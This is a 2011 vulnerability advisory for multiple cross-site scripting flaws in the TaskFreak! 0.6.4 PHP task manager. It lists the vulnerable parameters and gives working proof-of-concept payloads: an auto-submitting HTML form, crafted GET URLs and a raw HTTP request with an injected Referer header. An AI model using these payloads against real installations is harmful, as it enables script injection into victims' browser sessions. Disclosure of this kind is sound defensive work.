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TaskFreak! 0.6.4 Cross Site Scripting

Posted on 12 February 2011

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TaskFreak! v0.6.4 Multiple Cross-Site Scripting Vulnerabilities


Vendor: Stan Ozier
Product web page: http://www.taskfreak.com
Affected version: 0.6.4 (multi-user)

Summary: TaskFreak! Original is a simple but efficient web based
task manager written in PHP.

Desc: TaskFreak! suffers from multiple XSS vulnerabilities when parsing
input to multiple parameters in different scripts. The vulnerable POST
parameters are: 'sContext', 'sort', 'dir' and 'show' thru index.php. Also
the GET parameters 'dir' and 'show' thru 'print_list.php' are vulnerable.
Header variable 'referer' is vulnerable thru rss.php script. Attackers
can exploit these weaknesses to execute arbitrary HTML and script code in
a user's browser session.

Tested on: MS Windows XP Pro SP3-EN, XAMPP (latest)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

Advisory ID: ZSL-2011-4990
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-4990


27.01.2011

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<script type="text/javascript">function xss(){document.forms["zappa"].submit();}</script>
<form name="zappa" action="http://taskfreak/index.php" method="POST" id="zappa">
<input type="hidden" name="sProject" value="0" />
<input type="hidden" name="id" value="" />
<input type="hidden" name="mode" value="save" />
<input type="hidden" name="sContext" value='%22%20onmouseover%3dprompt(/_did_you_smiled_today_?/)%20' />
<input type="hidden" name="sort" value='"><script>alert(1)</script>' />
<input type="hidden" name="dir" value='"><script>alert(2)</script>' />
<input type="hidden" name="show" value='"><script>alert(3)</script>' />
</form>
<a href="javascript: xss();" style="text-decoration:none">
<b><font color="red"><center><h3>Exploit!<h3></center></font></b></a>

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http://taskfreak/print_list.php?dir=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E
http://taskfreak/print_list.php?show=%22%3E%3Cscript%3Ealert%281%29%3C/script%3E

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GET /taskfreak/rss.php HTTP/1.1
Referer: ">Waddup!
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Host: localhost
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

 

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